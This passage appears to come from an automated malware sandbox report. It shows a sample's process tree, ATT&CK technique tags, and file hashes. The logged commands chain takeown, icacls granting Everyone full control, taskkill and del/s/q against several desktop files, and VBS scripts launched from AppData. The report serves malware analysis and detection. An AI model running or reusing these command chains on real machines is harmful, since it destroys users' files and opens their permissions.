    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\TestCompress.vdx && icacls C:\Users\Admin\Desktop\TestCompress.vdx /grant Everyone:(F) && taskkill /f /im TestCompress.vdx && del/s/q C:\Users\Admin\Desktop\TestCompress.vdx
  2⤵
  PID:2636
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\TestCompress.vdx
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2692
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\TestCompress.vdx /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:344
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im TestCompress.vdx
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\TestShow.bmp && icacls C:\Users\Admin\Desktop\TestShow.bmp /grant Everyone:(F) && taskkill /f /im TestShow.bmp && del/s/q C:\Users\Admin\Desktop\TestShow.bmp
  2⤵
  PID:1772
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\TestShow.bmp
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2236
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\TestShow.bmp /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2564
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im TestShow.bmp
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\UnblockOut.xls && icacls C:\Users\Admin\Desktop\UnblockOut.xls /grant Everyone:(F) && taskkill /f /im UnblockOut.xls && del/s/q C:\Users\Admin\Desktop\UnblockOut.xls
  2⤵
  PID:1596
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\UnblockOut.xls
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2064
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\UnblockOut.xls /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2412
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im UnblockOut.xls
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\UnprotectConvert.wmf && icacls C:\Users\Admin\Desktop\UnprotectConvert.wmf /grant Everyone:(F) && taskkill /f /im UnprotectConvert.wmf && del/s/q C:\Users\Admin\Desktop\UnprotectConvert.wmf
  2⤵
  PID:2508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\UnprotectConvert.wmf
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:884
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\UnprotectConvert.wmf /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2180
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im UnprotectConvert.wmf
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\WaitDebug.ppt && icacls C:\Users\Admin\Desktop\WaitDebug.ppt /grant Everyone:(F) && taskkill /f /im WaitDebug.ppt && del/s/q C:\Users\Admin\Desktop\WaitDebug.ppt
  2⤵
  PID:2804
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\WaitDebug.ppt
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2944
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\WaitDebug.ppt /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2032
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im WaitDebug.ppt
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\Desktop\WatchRegister.M2T && icacls C:\Users\Admin\Desktop\WatchRegister.M2T /grant Everyone:(F) && taskkill /f /im WatchRegister.M2T && del/s/q C:\Users\Admin\Desktop\WatchRegister.M2T
  2⤵
  PID:2988
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\Desktop\WatchRegister.M2T
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2948
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\Desktop\WatchRegister.M2T /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:404
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im WatchRegister.M2T
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1816

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "2039216216-587301509-1286133936-627356118904496652104817838-16072290181917332687"
1⤵
PID:2216

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-101806944-3894709-473655633434592565-1631256447-1994087519588634695-71623685"
1⤵
PID:1960

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roamings.vbs"
1⤵
PID:2428
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\tase.vbs"
  2⤵
  PID:2408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit
  2⤵
  PID:2780
- - C:\Windows\system32\wininit.exe
    "C:\Windows\system32\wininit.exe"
    3⤵
    PID:2804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roamings.vbs

Filesize
673B

MD5
74cdf83332a4c9b61a520d43bd7ac2b2

SHA1
df4ac12285fa2822f6d62622e0d6c338da9c870f

SHA256
ecbf84d2c903b304fa9b530f9f1e74335d9fde6f2db5a64bc399d8749d92863c

SHA512
6a1db72f0913241f711a7573d7bb84f87f4fc45f9c62c05160f30038c860931e73dda7306abb49f6e05faeded6f2c4c013b6264a8d8f5d04afeab8464217921a

Download Submit
C:\Users\Admin\Desktop\DIE13.lnk

Filesize
1KB

MD5
1a2f21d594f1e59cfb143b854da88c77

SHA1
4276cdedf6443e4017692398af351e0e4623040c

SHA256
78c04f1599fc5244cd2676d109b43f61f38a2617ae64751e8825f132b2cad99b

SHA512
4888a707a68115e63529278f04989d988888dbcde09780a280d16c2e96a1cfc36763535e027bede0dd22455e55c673551d63ea3958d94cccb9ab1c866568d80b

Download Submit
memory/2780-408-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/2780-409-0x0000000002960000-0x0000000002968000-memory.dmp

Filesize
32KB

Download